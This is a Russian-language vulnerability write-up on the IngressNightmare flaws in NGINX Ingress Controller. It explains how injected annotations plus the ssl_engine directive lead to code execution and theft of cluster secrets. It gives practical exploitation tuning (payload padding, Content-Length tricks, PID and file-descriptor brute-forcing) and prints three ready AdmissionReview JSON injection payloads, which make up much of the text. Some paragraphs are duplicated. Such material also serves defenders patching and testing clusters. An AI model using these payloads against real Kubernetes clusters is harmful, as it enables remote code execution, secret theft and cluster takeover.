Описание
IngressNightmare — это серия уязвимостей, которые могут использоваться для выполнения произвольного кода в поде NGINX Ingress Controller, с последующим доступом ко всем секретам кластера и его возможным захватом.
Специалисты компании Wiz обнаружили четыре уязвимости в ходе исследования NGINX Ingress Controller:
Одна из первых трёх уязвимостей используется для инъекции уязвимой конфигурации в шаблон, который потом будет проверять NGINX. А уже 4-ая уязвимость используется для запуска кода.
Специалисты компании Wiz обнаружили четыре уязвимости в ходе исследования NGINX Ingress Controller:
- CVE-2025-1097. Возможность инъекции произвольной конфигурации NGINX через аннотацию nginx.ingress.kubernetes.io/auth-tls-match-cn из-за недостаточной фильтрации данных.
- CVE-2025-1098. Возможность инъекции произвольной конфигурации NGINX через аннотацию nginx.ingress.kubernetes.io/mirror-target или nginx.ingress.kubernetes.io/mirror-host из-за недостаточной фильтрации данных.
- CVE-2025-24514. Возможность инъекции произвольной конфигурации NGINX через аннотацию nginx.ingress.kubernetes.io/auth-url из-за недостаточной фильтрации данных
- CVE-2025-1974. Возможность загрузить произвольный код с помощью определенных директив в конфигурации NGINX (например ssl_engine).
Одна из первых трёх уязвимостей используется для инъекции уязвимой конфигурации в шаблон, который потом будет проверять NGINX. А уже 4-ая уязвимость используется для запуска кода.
Ход атаки
В общем виде сама атака производится следующим образом:
Компания Wiz предлагает следующий сценарий атаки:
Пока нет подтверждения, что атака активно используется in-the-wild, поэтому другие сценарии атаки сложно оценить.
- Для начала требуется доступ к одному из подов кластера (по умолчанию он доступен в кластерной сети любому поду), либо чтобы порт соответствующего вебхука NGINX Ingress Controller'а был доступен из сети Интернет (не является конфигурацией по умолчанию).
- После этого становится возможным отправить на этот вебхук специально сформированную YAML-документ, которая эксплуатирует одну из уязвимостей для постановки в конфигурацию NGINX.
- После проверки вебхуком наличия нужных полей он запустит проверку конфигурации через запуск команды "nginx -t", которая в теории не должна вызывать запуск самой конфигурации, но из-за особенностей работы некоторых директив становится возможным загрузить исполняемый файл и запустить код внутри этого файла.
- Это приведёт к удаленному запуску кода и получения доступа к поду NGINX Ingress Controller'а. Так как этот под имеет высокие привилегии в кластере, но становится возможным выполнять привилегированные команды.
- В финальной части атаки становится возможным получить все секреты кластера, а уже после захватить контроль над ним.
Компания Wiz предлагает следующий сценарий атаки:
- Используя особенности работы NGINX и функции буферизации тела запроса клиента, загрузить подключаему библиотеку в рамках этого запроса. Чтобы NGINX не завершил запрос и не удалил содержимое буфера, размер запроса указывается больше, чем фактически будет отправлено в рамках него, после этого NGINX будет ждать оставшиеся данные.
- Отправить специально сформированный запрос AdmissionReview в сторону NGINX Ingress Controller'а, чтобы произвести инъекцию конфигурации в NGINX и с помощью директивы ssl_engine попытаться загрузить ранее отправленную библиотеку.
- Нюанс момента состоит в том, что мы можем получить доступ до файла только через ProcFS, поэтому в рамках второго шага придётся перебирать идентификаторы процессов и дескрипторы файлов, чтобы найти нужный, ключевым моментом тут является то, что в контейнерах значение идентификатора процесса можно угадать, так как они достаточно предсказуемы.
- В случае успеха код будет выполнен. В примере Wiz это реверс-шелл.
- После получения доступа, можно загрузить в под kubectl и получить все секреты кластера.
Пока нет подтверждения, что атака активно используется in-the-wild, поэтому другие сценарии атаки сложно оценить.
Нюанс эксплуатации
Основной подвох эксплуатации уязвимости заключается в подборе правильной пары идентификатора процесса и файлового дескриптора. Процессу подбора существенно мешает ограничение по времени в 60 секунд, именно столько будет ждать nginx прежде чем закрыть соединение, которое обеспечивает наличие полезной нагрузки. Поэтому нам нужно максимально быстро перебрать возможные значения, исключив менее возможные
по максимуму. Ситуацию осложняет тот факт, что на разных системах с разным числом ресурсов и разной конфигурацией мы можем ожидать существенно различающиеся значения. В первую очередь это идентификаторы процессов, возможно мы можем начать отсчет от 19, но дальнейшее число нам не известно, это может быть 30, а может и все 40 и выше. С файловым дескриптором всё также неоднозначно. Мы примерно понимаем, с какого значения начинается отсчет, к нему прибавляются дескрипторы открытые самим nginx для функционирования как Ingress Controller. В результате на определенных стендах эксплуатация может работать, на других потребует корректировку значений. На реальных системах эти значения могут существенно отличаться от предполагаемых.
Также отдельно можно выделить момент с размером полезной нагрузки. Она должна быть не больше 8192 байт, так как это размер буфера для содержимого тела запроса. Но в сторону NGINX нам нужно отправить нагрузку превышающую 8192 байт, поэтому мы добиваем нулями размер до определенного значения. В ходе экспериментов у нас получилось, что 10000-11000 байт является некоторой золотой серединой. Самому же серверу мы сообщим через поле Content-Length, что содержимое больше того, что мы отправили, например 16000 байт. В итоге мы должны добиться того, что NGINX закэширует нагрузку в файл, который сразу же удалит.
Варианты инъекции конфигурации
Инъекция через директиву auth-tls-match-cn (CVE-2025- 1097)
Основной предлагаемый метод инъекции для эксплуатации уязвимости. Требует наличия настроенного объекта типа Ingress и секрета. Иначе при отправке на ревью контроллер выдаст ошибку и не будет обрабатывать блок
Запрос:
{
"kind": "AdmissionReview", "apiVersion": "admission.k8s.io/v1", "request": {
"uid": "e166d137-ff47-443f-9108-9eb42e9738e8",
"kind": {
"group": "networking.k8s.io",
"version": "v1",
"kind": "Ingress"
},
"resource": {
"group": "networking.k8s.io", "version": "v1",
"resource": "ingresses"
},
"requestKind": {
"group": "networking.k8s.io", "version": "v1",
"kind": "Ingress"
},
"requestResource": {
"group": "networking.k8s.io", "version": "v1",
"resource": "ingresses"
},
"name": "eumesmo", "namespace": "default", "operation": "CREATE", "userInfo": {
"username": "kube-review",
"uid": "0e484028-0d13-4d6a-9267-92e4a5e2c801"
},
"object": {
"kind": "Ingress",
"apiVersion": "networking.k8s.io/v1", "metadata": {
"name": "ingress-test-pod-nginx", "namespace": "default", "creationTimestamp": null, "annotations": {
"nginx.ingress.kubernetes.io/auth-tls-match-cn": "CN=abc #(\n){}\n }}\nssl_engine /REPLACE;\n#",
"nginx.ingress.kubernetes.io/auth-tls-secret": "default/test-pod- nginx-tls",
"nginx.ingress.kubernetes.io/backend-protocol": "FCGI"
}
},
"spec": {
"rules": [
{
"host": "test-pod-nginx.foo.org", "http": {
"paths": [
{
"path": "/", "pathType": "Prefix", "backend": {
"service": { "name": "nginx", "port": {
"number": 80
}
}
}
}
]
}
}
],
"ingressClassName": "nginx"
},
"status": { "loadBalancer": {}
}
},
"oldObject": null, "dryRun": true, "options": {
"kind": "CreateOptions", "apiVersion": "meta.k8s.io/v1"
}
}
}
Инъекция через директиву auth-url (CVE-2025-24514)
Более универсальный метод, так как не требует наличия секрета, но всё ещё требует нужный объект типа Ingress. Загвоздка заключается в опции enable-annotation-validation, которая по умолчанию включена в версии 1.12.0, что означает что реальная версия, которую можно проэксплуатировать, это 1.11.4 и ниже.
Запрос:
Запрос:
{
"kind": "AdmissionReview", "apiVersion": "admission.k8s.io/v1", "request": {
"uid": "8750862f-46f5-4c21-b1f4-d3b66ccd997f", "kind": {
"group": "networking.k8s.io", "version": "v1",
"kind": "Ingress"
},
"resource": {
"group": "networking.k8s.io", "version": "v1",
"resource": "ingresses"
},
"requestKind": {
"group": "networking.k8s.io", "version": "v1",
"kind": "Ingress"
},
"requestResource": {
"group": "networking.k8s.io", "version": "v1",
"resource": "ingresses"
},
"name": "ingress-test-pod-nginx", "operation": "CREATE",
"object": {
"kind": "Ingress",
"apiVersion": "networking.k8s.io/v1", "metadata": {
"name": "ingress-test-pod-nginx", "creationTimestamp": null, "annotations": {
"nginx.ingress.kubernetes.io/auth-url": "http://example.com/#;\nset
$proxy_alternative_upstream_name \"\";}}}\nssl_engine /REPLACE"
}
},
"spec": {
"rules": [
{
"http": {
"paths": [
{
"path": "/", "pathType": "Prefix", "backend": {
"service": { "name": "nginx", "port": {
"number": 80
}
}
}
}
]
}
}
],
"ingressClassName": "nginx"
}
}
}
}
Инъекция через директиву uid (CVE-2025-1098)
Также претендует на статус универсального метода, объект типа Ingress также должен существовать.
Запрос:
Запрос:
{
"kind": "AdmissionReview", "apiVersion": "admission.k8s.io/v1", "request": {
"uid": "8750862f-46f5-4c21-b1f4-d3b66ccd997f", "kind": {
"group": "networking.k8s.io", "version": "v1",
"kind": "Ingress"
},
"resource": {
"group": "networking.k8s.io", "version": "v1",
"resource": "ingresses"
},
"requestKind": {
"group": "networking.k8s.io", "version": "v1",
"kind": "Ingress"
},
"requestResource": {
"group": "networking.k8s.io", "version": "v1",
"resource": "ingresses"
},
"name": "ingress-test-pod-nginx", "operation": "UPDATE",
"object": {
"kind": "Ingress",
"apiVersion": "networking.k8s.io/v1", "metadata": {
"name": "ingress-test-pod-nginx", "creationTimestamp": null,
"uid": "uid {}\nset $proxy_alternative_upstream_name
\"\";\n}\n}\nssl_engine /REPLACE;\n", "annotations": {
"nginx.ingress.kubernetes.io/mirror-host": "test", "nginx.ingress.kubernetes.io/mirror-target": "target"
}
},
"spec": {
"rules": [
{
"http": {
"paths": [
{
"path": "/", "pathType": "Prefix", "backend": {
"service": { "name": "nginx", "port": {
"number": 80
}
}
}
}
]
}
}
],
"ingressClassName": "nginx"
}
}
}
}